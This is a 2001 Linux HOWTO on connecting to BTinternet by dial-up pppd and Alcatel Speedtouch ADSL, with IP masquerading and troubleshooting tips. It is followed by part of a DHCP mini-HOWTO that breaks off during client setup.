Technical detail with the chatscript timeout (and found a spelling mistake or two!). Thanks again to Bill Staehle.
Revision v0.23 | 2001-11-07 | Revised by: mww
Changed the Chatscript dialing method, thanks go to TonyC from btinternet.linux newsgroup.
Revision v0.22 | 2001-11-06 | Revised by: mww
Changed a couple more little botches. Thanks again go to Bill Staehle.
Revision v0.21 | 2001-11-03 | Revised by: mww
Changed discrepancies reported by Bill Staehle.
Revision v0.20 | 2001-11-01 | Revised by: mww
Added Alcatel Speedtouch Information.
Revision v0.19 | 2001-10-31 | Revised by: mww
Initial public release.

This document describes how to setup a modem pppd link to Btinternet in the UK.

Table of Contents
1. Introduction
1.1. Copyright and License
1.2. Mailing Lists
1.3. About the author
1.4. Acknowledgements
2. Requirements
3. Surftime
3.1. PPPd Setup
3.2. Chatscript (Dialup)
3.3. Authentication
3.4. Setting your global options
3.5. Testing your link
3.6. Dialing scripts
4. BTi Anytime
5. BTOpenworld Home 500 (Alcatel Speedtouch USB)
5.1. About this section
5.2. Warning
5.3. Distribution Specific Information
5.4. Requirements
5.5. Software Downloads
5.6. Patching your kernel
5.7. Kernel Drivers and Software
5.8. PPPd Configuration
5.9. Testing your link
6. Simple IP Masquerading
7. Troubleshooting
7.1. Help! Lynx gives unable to access document
7.2. My kernel < 2.4.2 crashes using the Alcatel driver
7.3. PPPd crashes when it loads the PPPoATM module
7.4. insmod speedtch.o gives: "Unresolved symbol: _mmx_memcpy"
7.5. There are strange noises on the telephone line when I pick up the phone.
8. Further Reading
Next
Introduction


Introduction

BTinternet pppd mini-HOWTO
Prev Next

1. Introduction

This HOWTO exists because a mate of mine needed to easily set up an Internet connection to BTinternet and here is a quick and concise way to get a running PPPd to Btinternet. This HOWTO also briefly covers Howto setup basic IP Masquerading to allow connection sharing.

1.1. Copyright and License

This document is Copyright 2001 by Matt Wright. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is available at http://www.gnu.org/copyleft/fdl.html

Send feedback to matt@consultmatt.co.uk.

1.2. Mailing Lists

Please note: There is a mailing list available for this howto. If you wish to join please email <majordomo@consultmatt.co.uk> with the body:

subscribe bti-howto

This will then be followed up by the mailing list bot and subsequent emails should arrive confirming your request. The list is intended to be for annoucing changes to this HOWTO and also to dicuss the finer points of getting pppd to work on BTinternet.

1.3. About the author

My name is Matt Wright. I'm 16 year-old student in Blackburn, Lancashire. I'm a freelance Linux consultant. I am the proud owner of a Duron 950Mhz (all I could easily afford) with 256MB SDRAM, Voodoo 4 Video Card, ATI All-in-Wonder Pro Video Card. I also have a 266Mhz Cyrix that runs my USB ADSL connection, of which if you are reading this from http://www.consultmatt.co.uk you will be using.

You can find me at www.consultmatt.co.uk. Or at matt@consultmatt.co.uk.

1.4. Acknowledgements

A major thanks of gratitude to the guys at Linuxdoc in particular Greg Ferguson and David Merrill for help with getting this into trusty SGML. Also to Rob Smith the guy behind me writing this :) (As he couldn't sort his own Linux box out :P). A great vote of thanks to Bill Staehle for his input in ironing out some major flaws. Also a thank you goes to TonyC at btinternet.linux and the rest of that newsgroup for originally getting me on my feet with BTi. Finally and most importantly my thanks goto my Lord and Saviour Jesus Christ, without whom I'd be lost.

Prev | Home | Next
BTinternet pppd mini-HOWTO |  | Requirements


Requirements

BTinternet pppd mini-HOWTO
Prev Next

2. Requirements

The following is needed to use this HOWTO:

  • A working modem, external or internal hardware modems are the easiest to get working, see Modem-HOWTO. If you have a WinModem then see Winmodems and Linux HOWTO

  • An account with Btinternet, this HOWTO covers BTi Surftime and Anytime

  • Some basic understanding of the Linux OS and its layout

Prev | Home | Next
Introduction |  | Surftime


Surftime

BTinternet pppd mini-HOWTO
Prev Next

3. Surftime

3.1. PPPd Setup

Right, to start off you will need a working installation of PPPd, I know from experience that Mandrake 8.0 that sometime is doesn't install pppd so check its installed first. Once it is it usually resides in /usr/sbin/pppd check that any users you want to access it have setuid access.

Note: Setuid allows pppd to run as-if root allowing non-superusers to run pppd without less problems. To do this use the command chmod 4750 /usr/sbin/pppd. Beware: Some distributions have a watchdog program that will change the pppd permissions back to normal. I have not tested this but on RedHat derived systems with Linuxconf installed then removing the /usr/lib/linuxconf/redhat/perm/ppp should stop this happening.

3.2. Chatscript (Dialup)

The Chatscript is a text file, usually residing in /etc/ppp that contains the commands passed to the modem to make it dial to BTi. If you want to compare this to DUN in Windows then this is the phone number and init commands.

Below is the chatscript used to dial BTi, I've now opted for putting the \T metacharacter in the script. The means when we run chat, inside the pppd command, we can use a -T parameter and supply the needed telephone number.

  "" "ATZ"

  # The next two lines should be left commented out until
  # the script works.

  # "OK" "ATL0"
  # "OK" "ATM0"

  SAY "Dialing modem...\n"
  "OK" "ATDT \T"
  ABORT BUSY
  ABORT "NO CARRIER"
  TIMEOUT 60
  CONNECT \c

This script will dial BTi providing you put in the \T so we can added the telephone number later. I suggest saving the chatscript as something like /etc/ppp/chatscript Once you've saved it we can move onto setting up BTi's CHAP authentication.

3.3. Authentication

With PPP dialup's the most widely used authentication method, apparently, is PAP (Password Authentication Protocol). However, just to be a pain in the backside BTi use CHAP (Challenge Handshake Authentication Protocol). To be fair CHAP is a more secure authentication method than PAP but it's still a pain. Now PPPd does support this but not through nice easy to use Linuxconf dialogs.

In the /etc/ppp directory should be a chap-secrets that looks roughly like this when first installed:

  # Secrets for authentication using CHAP
  # client    server    secret    IP addresses

We can safely ignore the IP Address column but the others me must worry about. So fill in the gaps like this:

  # Secrets for authentication using CHAP
  # client    server    secret    IP addresses
  "bloggs@btinternet.com"  *   "mypasswordhere"

These two extra lines will try and authenticate ANY outgoing PPP connection that responds using CHAP using your BTi details. It goes without saying that you replace bloggs@btinternet.com and mypasswordhere with your details. Also, the second line is not strictly needed but I've found it helps sometimes.

Note: If you're not using BTi at this point you can usually get away with having identical chap-secrets and pap-secrets. If you the same kind of pattern as above it should work.

I suggest that you do a "chmod 600 /etc/ppp/*secrets". It was pointed out to me that it stops pppd shouting about security.

3.4. Setting your global options

In your /etc/ppp directory there is a file called options. If your open it with your favourite text editor you should see:

  lock

And thats it, now we need to add some more settings in here so make it look like:

  lock
  usepeerdns
  defaultroute
  noipdefault
  noauth
  asyncmap 0
  crtscts
  modem
  115200

Don't worry what they do, if you're interested look at the man page for pppd. As a passing note if you would like PPPd to redial dropped connections then add persist to the end of your options file.

3.5. Testing your link

Now you've created your Chatscript there are only two steps left till you should be on the Internet. First is getting a working link and second is creating a couple of easy dialup scripts to help you.

To test your link try this command:

pppd ttyS0 connect '/usr/sbin/chat -v -TPHONE_NUM_HERE -f /etc/ppp/chatscript' updetach debug name bloggs@btinternet.com

Now obviosuly if your testing at Daytiem rate add the Daytiem number where instead of PHONE_NUM_HERE and similar with Surftime.

This will tell PPPd to dial the modem on ttyS0 (COM1) using the chatscript. The updetach tells PPPd to only fork away to the commandline after the connection is established and the debug will show all authentication commands onscreen (providing updetach it set) while it trys to connect.

If that connected then move onto the next section and we can make a set of scripts to allow easy dialing.

3.6. Dialing scripts

Here I'll just set out a set of scripts that will let your dial BTi from a command line easily. The following should be self-explanatory, the italic filename is the filename to put the data into and the proceeding text the file contents:

/etc/ppp/peers/bt-surf

  ttyS0 connect '/usr/sbin/chat -v -TSURFTIME_NUMBER_HERE -f /etc/ppp/chatscript'
  updetach name bloggs@btinternet.com

/etc/ppp/peers/bt-day

  ttyS0 connect '/usr/sbin/chat -v -TDAYTIME_NUMBER HERE -f /etc/ppp/chatscript'
  updetach name bloggs@btinternet.com

Change any of the filenames to suit what you called them and the username. Do the same with this:

/usr/bin/internet

  #!/bin/bash
  # a script to dial BTi
  case "$1" in
  daytime)
     /usr/sbin/pppd call bt-day
     ;;
  surftime)
     /usr/sbin/pppd call bt-surf
     ;;
  off)
     killall pppd
     ;;
  esac

Once you've done that run this command at the command prompt:

chmod a+x /usr/bin/internet

Now you've done, simply type internet daytime/surftime/off and it will connect you to the internet.

Prev | Home | Next
Requirements |  | BTi Anytime


BTi Anytime

BTinternet pppd mini-HOWTO
Prev Next

4. BTi Anytime

I'm sorry, for all you Anytime customers its really hard! NOT! Read all the instructions for Surftime above. They all apply in most places, the only things to watch out for is you obviously don't need any of the Surftime/daytime distinctions. So only have one peers file (using the correct phoen number) and one dialup option in your /usr/bin/internet file. (eg. dial and off)

Prev | Home | Next
Surftime |  | BTOpenworld Home 500 (Alcatel Speedtouch USB)


BTOpenworld Home 500 (Alcatel Speedtouch USB)

BTinternet pppd mini-HOWTO
Prev Next

5. BTOpenworld Home 500 (Alcatel Speedtouch USB)

5.1. About this section

There is rather a large amount of credit due here, to Chris Jones for writing the Alcatel Speedtouch USB ASDL Modem mini-HOWTO that is now part of the DSL HOWTO. This helped me a great deal when trying to get my Speedtouch to work.

5.2. Warning

At home I use Linux Mandrake, although the version of the kernel I had was patched with the ATM kernel source I did end up patching a different kernel source to get it working. Please, please inspect your kernel source to see if you have the PPPoATM source patched against your kernel. To do this go into you kernel source directory, usually /usr/src/linux and do a make menuconfig. In the Network Device Support section check for:

  • Network device support->PPP over ATM

If it does exist then make sure it is present it you current kernel and you can skim-read the "Patching you kernel" section to make sure you have the correc toptions compiled in and then carry on.

This was just a minor warning as I orginially had a kernel patched with PPPoATM and without realising managed to trash my kernel tree by trying to force the patch onto it.

5.3. Distribution Specific Information

I have had reports about different distros that have varying PPPoATM support already builtin to the kernel:

  • Mandrake 8.0: The default 2.4.3 kernel already has the PPPoATM patch applied, I cannot remember if it compiled in but ignore steps refering the "Patching the Kernel" below. PS: You still need to configure the kernel.

  • Mandrake 8.1: Mandrake 8.1 supports the Speedtouch automatically, I have no had first hand experience but from what I can gather you simply have to download the Alcatel binaries and then use DrakNet to sort it out.

  • Debian: I have had reports that the standard Debian installtion does not include libpam, this must be installed for the PPPoATM plugin modules to work.

NOTE: From roughly kernel 2.4.16 the PPPoATM patch is included in Linus' main source tree. Therefore you can miss out patching the kernel and just configure it.

5.4. Requirements

To get your Speedtouch USB working in Linux you have a fairly heavyweight task ahead of you, but hey, if I could do it so can you! This is what you'll need to get it working:

  • You must have the kernel source installed and know the procedure for installing and compiling a new kernel. If this is a problem then read the Kernel HOWTO.

  • You must be running one of the following Kernels: 2.3.39, 2.4.0-test4, 2.4.1-pre7, 2.4.7, 2.4.8-pre5. This is because the PPPoATM patch for the kernel exists patched against specific kernels, some may work with similar kernel versions but I cannot vouch for that

  • You, obviously, need a USB controller of some description with at least one free plug. It also must be Linux compatible, nowadays this is most USB controllers that are UHCI/OHCI based. If you don't have one your local supplier would probably have a PCI USB Controller.

  • A heap-load of confidence with meddling with your config. eg: kernel recompiling, program installation...

5.5. Software Downloads

To get the Speedtouch working under Linux you will need some software and kernel patches found below:

  • The kernel patch for your kernel. They can be found at http://www.kernel.org/pub/linux/kernel/people/axboe/PPPoATM/. Please note not all the kernels have patches.

  • The latest SpeedTouch driver from http://sourceforge.net/project/showfiles.php?group_id=3581

  • The latest SARlib library from http://sourceforge.net/project/showfiles.php?group_id=22221

  • The Alcatel speed management software. You can get it from http://www.alcatel.com/consumer/dsl/dvrreg_lx.htm. I can't distribute this because of Alcatel's licensing scheme so get it from them.

  • Some description of PPPoATM aware PPPd binary:

    • Red Hat 7 RPM (glibc 2.2): http://sourceforge.net/project/showfiles.php?group_id=23818

    • Debian (.deb): http://sourceforge.net/project/showfiles.php?group_id=23818

    • Tarball: http://sourceforge.net/project/showfiles.php?group_id=23818

  • The Linux Hotplug software from http://linux-hotplug.sourceforge.net. Get it installed as per their instructions. It seemed simple enough so I won't cover it here

5.6. Patching your kernel

Once you have the PPPoATM kernel patch (this assumes you use the patch against kernel 2.4.7) you need to make sure you have a working 2.4.7 kernel tree, next unzip the PPPoATM patch by doing:

NOTE: From rougly kernel 2.4.16 (I haven't tested to see hwo far back it goes) the PPPoATM patch is included in Linus' main kernel tree, therefore you may skip the patching below and resume ready to configure the kernel.

gzip -d pppoatm-2.zip

Next we will need to test-patch the kernel using the following commands:

patch -p1 -s -E --dry-run < /point/to/pppoatm-2

If that ran without failure then patch the kernel by removing the --dry-run as such:

patch -p1 -s -E < /point/to/pppoatm-2

That should have patched the kernel good-and-proper so we can go ahead and configure it, make sure the following options are selected along with your personal build options:

  • Code maturity levels->Prompt for development and/or incomplete code/drivers

  • Networking options->Asynchronous Transfer Mode (ATM)

  • Network device support->PPP (point-to-point protocol) support

  • Network device support->PPP support for async serial ports

  • Network device support->PPP Deflate compression

  • Network device support->PPP BSD-Compress compression

  • Network device support->PPP over ATM

  • USB support->Support for USB

  • USB support->Preliminary USB device filesystem

    You have to make a choice here, if your USB controller is UHCI based then select:

    USB support->UHCI (Intel, PIIX4, VIA, ...) support

    Alternatively choose:

    USB Support->OHCI (Compaq, iMacs, OPTi, SiS, ALi, ...) support

You could select any of these as modules or compiled-in but as I followed Chris Jones' HOWTO I compiled the all but UHCI/OHCI as compiled-in code. Save the kernel config and compile the kernel and modules as you normally do.

5.7. Kernel Drivers and Software

Now that the kernel will support using PPPoATM we can start compiling the bits to run the modem. Well start with the Kernel mode driver; first decompress the SARlib sources to a build directory. (Personally I build all my non-kernel sources in ~/sources) and do a make on it. There is no need to do a make install with this library.

Next return to your source root and decompress your Speedtouch drivers (from Sourceforge not Alcatel!), go in there and do a make, and then a make install.

Note: If you get an "Error 1" then check the Makefile for a line starting SARLIB:= and check it points to the right directory, the one where you just compiled SARlib.

Next install the Hotplug software and make sure it works. Once you've done that decompress Alcatel's binary management software and do a make on that. Then do a make install, the clever bit here is their installation registers the Speedtouch kernel driver and their binary to be run when the USB device is "hotplugged" (or coldplugged) into the system. Kiss goodbye to the hours of trying to writing modules loading scripts that always fail.

Next install the new PPPoATM aware PPPd program, I had no luck getting it compile from source on my machine so I used the RPM. Sorry you're on your own there!

5.8. PPPd Configuration

Warning: The action will remove all the default settings for any previous PPPd connection. (Not that you want them now you've got shiny new ADSL ;P)

In the /etc/ppp directory there is a file called options in that file put the following:

  lock
  defaultroute
  noipdefault
  noauth
  passive
  asyncmap 0
  name bloggs@hg5.btinternet.com
  user bloggs@hg5.btinternet.com
  plugin /usr/lib/pppd/plugins/pppoatm.so
  0.38

Make sure of the following things:

  • That you replace both name and user variables with your username.

  • That you get the correct VPI/VCI ATM pair, these are in the windows information software, from BTi my VPI:0 and VCI:38 so I use 0.38. Make sure you get this right or it will not work.

Next in your /etc/ppp/chap-secrets put:

  # Secrets for authentication using CHAP
  # client    server    secret    IP addresses
  "bloggs@hg5.btinternet.com"  *   "mypasswordhere"

5.9. Testing your link

Next thing to do is get the link up and test it. If you've got a nice distro like Mandrake you should find it will auto-init your USB drivers and filesystem, if not then the following can be used:

/sbin/modprobe usb-uhci

mount none /proc/bus/usb -tusbdevfs

Next load the Speedtouch driver by doing: /sbin/modprobe speedtch. Next use the speedmgmt program to get the modem init'ed: /usr/sbin/mgmt. After a while of the lights flashing on the modem the main console (and/or the syslog) should report:

  Speedmgmt[2074]: Modem initialised at 576 kbit/s downstream and 288 kbit/s upstream

Once the modem has been init'ed now make sure the PPPoATM module is loaded by doing:

modprobe pppoatm

Now start the PPP link by typing pppd You should see something similar to this:

  Oct 28 14:01:25 ds9 pppd: PPPoATM plugin_init
  Oct 28 14:01:25 ds9 pppd: PPPoATM setdevname_pppoatm
  Oct 28 14:01:25 ds9 pppd: PPPoATM setdevname_pppoatm - SUCCESS
  Oct 28 14:01:26 ds9 pppd: Using interface ppp0
  Oct 28 14:01:26 ds9 pppd: Connect: ppp0 <--> 0.38
  Oct 28 14:01:28 ds9 pppd: local IP address 255.255.255.255
  Oct 28 14:01:28 ds9 pppd: remote IP address 255.255.255.255
  Oct 28 14:01:28 ds9 pppd: primary DNS address 213.120.62.100

Once that's done you're in luck, now just configure the pppd to autodial at startup (beyond the scope of this HOWTO, sorry!). Hopefully HotPlug will get your device up and going before pppd needs it! :).

Prev | Home | Next
BTi Anytime |  | Simple IP Masquerading


Simple IP Masquerading

BTinternet pppd mini-HOWTO
Prev Next

6. Simple IP Masquerading

To allow sharing of your internet conenction you can eitehr use a proxy server or IP Masquerading. I'll cover IP Masquerding as it's simple to set up on the other client machines. I use a 2.4.x generation kernel and in effect I use IPTables. If you use a 2.2.x or 2.0.x kernel then you need the IP Masquerading HOWTO.

This part of the HOWTO assumes that your Netfilter software is modularised, if it isnt then no big deal, either ignore the modprobe lines or recompile your kernel.

Simple now, just run the commands:

modprobe iptable_nat

iptables -t nat -F POSTROUTING

iptables -t nat -A POSTROUTING -o ppp0 -s 10.0.0.0/16 -j MASQUERADE

echo 1 > /proc/sys/net/ipv4/ip_forward

Note: The space between 1 and > is vital. It seems not to activate the IP Forwarding if the space is not there.

Change the ppp0 and/or the 10.0.0.0/16 for your relevant network settings and put that file either before the case "$1" in in the internet file or somewhere in your startup.

Prev | Home | Next
BTOpenworld Home 500 (Alcatel Speedtouch USB) |  | Troubleshooting


Troubleshooting

BTinternet pppd mini-HOWTO
Prev Next

7. Troubleshooting

7.1. Help! Lynx gives unable to access document

Problem: Lynx is unable to access document or ping gives "No route to host" but the link is stable!

Solution: Have a look at the output of route -n you should see a refenence specifing a gateway of either your Remote PPP IP and using the adapter/dev of ppp0. If not here is how to fix it. In your /etc/ppp/ip-up file above exit 0 on the last line type:

  route del default
  route add default gw $4 $1

Save the file and redial. The problem should be solved.

7.2. My kernel < 2.4.2 crashes using the Alcatel driver

Problem: Your kernel below 2.4.2 crashes using the Alcatel driver.

Solution: You're probably using a kernel compiled with SMP support either don't use SMP or try here: http://sourceforge.net/project/showfiles.php?group_id=23818

7.3. PPPd crashes when it loads the PPPoATM module

Problem: When PPPd attempts to access the ATM device it crashes.

Solution: The kernel was probably compiled on a different type of processor. I tried to get the kernel compiled quicker by compiling the kernel on my 950Mhz Duron, even with the processor type to suit the target 266Mhz Cyrix the ATM module crashes. So dont take short cuts and compile on the target processor.

7.4. insmod speedtch.o gives: "Unresolved symbol: _mmx_memcpy"

Problem: When you have compiled the Speedtouch Kernel driver (speedtch.o) trying to insmod/modprobe returns: "Unresolved symbol: _mmx_memcpy" or similar.

Solution: Right, I haven't got a concrete answer here but I couldn't find it anywhere on the internet so here goes. I found this error come up when I recompiled my kernel once. It did it the first time but I forgot how to fix it. A combination of things fixed it for me:

  • Configured the kernel module support to ignore kernel version checking

  • Recompiled SARlib (this is what ultimately fixed it) before recompiling speedtch.o

  • Recompiled speedtch.o and reinstalled. Et voila!

As I said I can't be sure about this one but it worked for me.

7.5. There are strange noises on the telephone line when I pick up the phone.

Problem: When you pick up the phone there are strange noises present, more over the use of the phone line causes the internet to disconnect.

Solution: You seem to have something which I thing is called cross-frequency. The ADSL modem works by sending data down the unused frequencies of you copper phone line. If the hardware is set up so the ADSL and phone ranges overlap the two can receive each other's data. Ring BTO Customer Support and they should be able to help.

Prev | Home | Next
Simple IP Masquerading |  | Further Reading


Further Reading

BTinternet pppd mini-HOWTO
Prev

8. Further Reading

For further reading on related topics see this list:

  • The PPP-HOWTO

  • The IP Masquerading HOWTO

  • The DSL HOWTO

  • The Modem-HOWTO.

  • The Winmodems and Linux HOWTO

Prev | Home
Troubleshooting |


DHCP mini-HOWTO

Vladimir Vuksan

vuksan@veus.hr

Revision History
Revision v4.12 October 22, 2000 Revised by: vv

This document attempts to answer basic questions on how to set up your Linux box to serve as a DHCP server or a DHCP client.

Table of Contents
1. Introduction
1.1. Standard Disclaimer
1.2. New Versions of this Document
1.3. Feedback
1.4. Contributors
1.5. Copyright Information
2. DHCP protocol
3. Client Setup
3.1. Downloading the client daemon (dhcpcd)
3.2. Slackware
3.3. RedHat 6.x and Mandrake 6.x
3.4. RedHat 5.x
3.5. RedHat 4.x and Caldera OpenLinux 1.1/1.2
3.6. Debian
3.7. LinuxPPC and MkLinux
3.8. Tying it all together
3.9. Various notes
3.10. Troubleshooting
3.11. Alternative DHCP client (ISC dhclient)
4. DHCP Server Setup
4.1. DHCP server for UNIX
4.2. DHCP server configuration
4.3. Options for DHCPd
4.4. Starting the server
4.5. Other interesting documents
Next
Introduction


Introduction

DHCP mini-HOWTO
Prev Next

1. Introduction

1.1. Standard Disclaimer

No liability for the contents of this documents can be accepted. Use the concepts, examples and other content at your own risk. As this is a new edition of this document, there may be errors and inaccuracies, that may of course be damaging to your system. Proceed with caution, and although this is highly unlikely, I don't take any responsibility for that.

Also bear in mind that this is NOT official information. Much content in this document are assumptions, which appear to work for people. Use the information at your own risk.

1.2. New Versions of this Document

New versions of this document are available from

http://www.oswg.org/oswg-nightly/DHCP.html

Following translations of the DHCP mini-HOWTO are available:

  • Chinese - http://www.linux.org.tw/CLDP/mini/DHCP.html

  • Japanese - http://www.linux.or.jp/JF/JFdocs/DHCP.html

  • Spanish - ftp://cuates.pue.upaep.mx/pub/linux/LuCAS/DHCP-mini-Como/

Permission is hereby granted to all individuals who want to translate the document into their own language. I would only ask that you provide a link back to this document and inform me of a URL to your translation so I can include a link to it.

1.3. Feedback

Feedback is most certaintly welcome for this document. Without your submissions and input, this document wouldn't exist. So, please post your additions, comments and criticisms to <vuksan-feedback@veus.hr>.

1.4. Contributors

This document has been modified from the original version by Paul Makeev.

The following people have contributed to this mini-HOWTO.

  • Heiko Schlittermann

  • Jonathan Smith

  • Dan Khabaza

  • Hal Sadofsky

  • Henrik Stoerner

  • Paul Rossington

  • numerous others

1.5. Copyright Information

This document is copyrighted (c) 1998 Vladimir Vuksan and distributed under the terms of the OpenContent License (OPL). Full text of the license can be found at

http://www.opencontent.org/opl.shtml

Prev | Home | Next
DHCP mini-HOWTO |  | DHCP protocol


DHCP protocol

DHCP mini-HOWTO
Prev Next

2. DHCP protocol

DHCP is Dynamic Host Configuration Protocol. It is used to control vital networking parameters of hosts (running clients) with the help of a server. DHCP is backward compatible with BOOTP. For more information see RFC 2131 (old RFC 1541) and other. (See Internet Resources section at the end of the document). You can also read http://web.syr.edu/~jmwobus/comfaqs/dhcp.faq.html.

This mini-HOWTO covers both the DHCP _SERVER_ daemon as well as DHCP _CLIENT_ daemon. Most people need the client daemon which is used by workstations to obtain network information from a remote server. The server daemon is used by system administrators to distribute network information to clients so if you are just a regular user you need the _CLIENT_ daemon.

Prev | Home | Next
Introduction |  | Client Setup


Client Setup

DHCP mini-HOWTO
Prev Next

3. Client Setup

Currently there are three different DHCP client programs for Linux, dhcpcd, pump and dhclient. This mini-HOWTO deals primarily with dhcpcd.

3.1. Downloading the client daemon (dhcpcd)

Depending on your distribution you might have to download the DHCP client daemon. If you want to compile it from the source you package you need is called dhcpcd and the current version is 1.3.18. It is maintained by Sergei Viznyuk <sergei@phystech.com> and today it comes as a binary package with most distributions.

dhcpcd source can be downloaded from following locations

  • ftp://ftp.phystech.com/pub/ (Primary site)

  • http://www.cps.msu.edu/~dunham/out/

Then follow the instructions below. They should be the same.

3.2. Slackware

You can download the latest copy of the DHCPcd from any Metalab mirror or following:

  • ftp://metalab.unc.edu/pub/Linux/system/network/daemons

  • ftp://ftp.phystech.com/pub/ (Primary site)

Download the latest version of dhcpcd.tar.gz.

  • Unpack it

    tar -zxvf dhcpcd-1.3.18pl1.tar.gz

  • cd into the directory and make dhcpcd

    cd dhcpcd-1.3.18pl1

    make

  • Install it (you have to run the following command as root)

    make install

This will create the directory /etc/dhcpc where DHCPcd will store the DHCP information and dhcpcd file will be copied into /usr/sbin.

In order to make the system initialize using DHCP during boot type:

cd /etc/rc.d

mv rc.inet1 rc.inet1.OLD

This will move the old network initialization script into rc.inet1.OLD. You now need to create the new rc.inet1 script. Following code is all you need:

#!/bin/sh
#
# rc.inet1      This shell script boots up the base INET system.

HOSTNAME=`cat /etc/HOSTNAME` #This is probably not necessary but I
                             #will leave it in anyways

# Attach the loopback device.
/sbin/ifconfig lo 127.0.0.1
/sbin/route add -net 127.0.0.0 netmask 255.0.0.0 lo

# IF YOU HAVE AN ETHERNET CONNECTION, use these lines below to configure the
# eth0 interface. If you're only using loopback or SLIP, don't include the
# rest of the lines in this file.

/usr/sbin/dhcpcd

Save it and reboot your computer.

When you are finished go the last step.

3.3. RedHat 6.x and Mandrake 6.x

DHCPcd configuration under RedHat 6.0+ is really easy. All you need to do is start the Control Panel by typing control-panel.

  • Select "Network Configuration"

  • Click on Interfaces

  • Click Add

  • Select Ethernet

  • In the Edit Ethernet/Bus Interface select "Activate interface at boot time" as well as select "DHCP" as "Interface configuration protocol"

Please note that in RedHat 6.x Redhat as default includes a DHCP client called pump instead of above mentioned dhcpcd. CD-ROM does include dhcpcd RPM so if you have no luck with pump try with dhcpcd. After you install dhcpcd (e.g. rpm -i dhcpcd-1.3.17pl2-1.i386.rpm) you will have to make some changes.

Additional notes from Alexander Stevenson <alexander.stevenson@home.com>:

I had no luck with DHCPcd. What finally worked for me was "pump", which comes with Linux Mandrake 6.0 (and so I assume it is included with RedHat as well). The command I used was:

pump -i eth0 -h hostname

It didn't matter what "hostname" was, but without it the server would not respond.

I then changed the line in my /sbin/ifup script to reflect the change; the default version does not have the -h switch, and so didn't work for me.

Basically, if you're using linuxconf, and after setting the adapter to "DHCP" it still doesn't work, try adding a "-h hostname" to the pump line in the /sbin/ifup script. My script now looks like this:

...
if [ -n "$PUMP" ]; then
    echo -n "Determining IP information for $DEVICE..."
    if /sbin/pump -i $DEVICE -h hostname; then
        echo " done."
    else
        echo " failed."
        exit 1
    fi
else ...

Another more elegant way to add hostname field is provided by Aad van der Klaauw:

Currently i'm configuring a gateway system at home, needed to set the MAC address and use the '-h hostname' workaround. So I decided to *not* change the script but to use the configure file. In my /etc/sysconfig/network-scripts/ifcfg-eth0 I have added the following

DEVICE="eth0"
MACADDR="00:11:22:33:44:55"
DHCP_HOSTNAME="trigger_for_terayon"

Which will survive upgrades, and is imho a "cleaner" way.

That is it. Reboot your machine or type /sbin/ifup eth0 on the command line.

3.4. RedHat 5.x

DHCPcd configuration under RedHat 5.0+ is really easy. All you need to do is start the Control Panel by typing control-panel.

  • Select "Network Configuration"

  • Click on Interfaces

  • Click Add

  • Select Ethernet

  • In the Edit Ethernet/Bus Interface select "Activate interface at boot time" as well as select "DHCP" as "Interface configuration protocol"

When you are finished go the last step.

3.5. RedHat 4.x and Caldera OpenLinux 1.1/1.2

DHCPcd is included in the standard RedHat distribution as an RPM and you can find it on your distribution's CD-ROM in RPMS directory or you can download it from:

ftp://ftp.redhat.com/pub/redhat/redhat-4.2/i386/RedHat/RPMS/dhcpcd-0.6-2.i386.rpm

Install it with rpm -i dhcpcd-0.6-2.i386.rpm.

Alternatively you can compile your own version by following the steps outlined in the Slackware.

The following information was provided to me by nothing <nothing@cc.gatech.edu>.

Removed my static ip and name from /etc/resolv.conf. However, I did leave in the search line and my two nameserver lines (for some reason my dhcpcd never creates a /etc/dhcpc/resolv.conf, so I have to use a static /etc/resolv.conf).

In /etc/sysconfig/network I removed the HOSTNAME and GATEWAY entries. I left the other entries as is (NETWORKING, DOMAINNAME, GATEWAYDEV).

In /etc/sysconfig/network-scripts/ifcfg-eth0 I removed the IPADDR, NETMASK, NETWORK, and BROADCAST entries. I left DEVICE and ONBOOT as is. I changed the BOOTPROTO line to BOOTPROTO=dhcp.

Save the file. Reboot your computer.

When you are finished go the last step.

3.6. Debian

There is a deb package of DHCPcd (make sure it starts with dhcpcd) at:

http://ftp.debian.org/debian/dists/slink/main/binary-i386/net/

Or, follow the Slackware installation instructions.

To unpack the deb package type dpkg -i /where/ever/your/debian/packages/are/dhcpcd*deb.

It appears that there isn't a need for any DHCPcd configuration because:

The dhcpcd package installs it's startup script as usual for debian packages in /etc/init.d/package_name, here as /etc/init.d/dhcpcd, and links this to the various /etc/rc?.d/ directories.

--From: Heiko Schlittermann <heiko@os.inf.tu-dresden.de>

The contents of the /etc/rc?.d/ dirs is then executed at boot time.

If you don't reboot after installing you should consider starting the daemon manually: /etc/init.d/dhcpcd start.

When you are finished go the last step.

3.7. LinuxPPC and MkLinux

Following section has been written by R. Shapiro

As of the "1999" (R5) release, Linuxppc is now almost completely compatible with Redhat 6, with one caveat (see below). In general the instructions are exactly the same as for the current release of RedHat 6.x and Mandrake 6.x.

The remaining problem is that Redhat 6 uses the 'pump' client for dhcp by default, and 'pump' doesn't work reliably in Linuxppc. To get around this, you should install the latest dhcpcd from Sergei Viznyuk, and then edit /sbin/ifup to use dhcpcd instead of pump.

Change

if [ "$BOOTPROTO" = bootp -o "$BOOTPROTO" = dhcp ]; then
     PUMP=true
 fi

 if [ -n "$PUMP" ]; then

with

 if [  "$BOOTPROTO" = bootp ]; then
       echo " done."
     else
       echo " failed."
       exit 1
     fi
 elif [ "$BOOTPROTO" = dhcp ]; then
     echo -n "Determining IP information for $DEVICE..."
     if /sbin/dhcpcd -d $DEVICE ; then
       if [ -f /etc/dhcpc/dhcpcd-${DEVICE}.exe ]; then
           /etc/dhcpc/dhcpcd-${DEVICE}.exe
       fi

and a coresponding changes for ifdown. Change

if [ "$BOOTPROTO" = bootp -o "$BOOTPROTO" = dhcp ]; then
....
fi

with

if [ "$BOOTPROTO" = bootp ]; then
fi

if [ "$BOOTPROTO" = dhcp ]; then
      if [ -f /var/run/dhcpcd-${DEVICE}.pid ]; then
              kill `cat /var/run/dhcpcd-${DEVICE}.pid`
              rm -f /var/run/dhcpcd-${DEVICE}.pid
      fi
fi

A working ppc rpm for dhcpcd is included on the Linuxppc 1999 cd; a slightly later rpm is available in the contrib directory on ftp://ftp.linuxppc.org/. Sources, which compile out of the box in Linuxppc 1999, are available from ftp://ftp.phystech.com/pub/dhcpcd-1.3.17-pl9.tar.gz.

3.8. Tying it all together

After your machine reboots your network interface should be configured. Type: ifconfig.

You should get something like this:

          lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Bcast:127.255.255.255  Mask:255.0.0.0
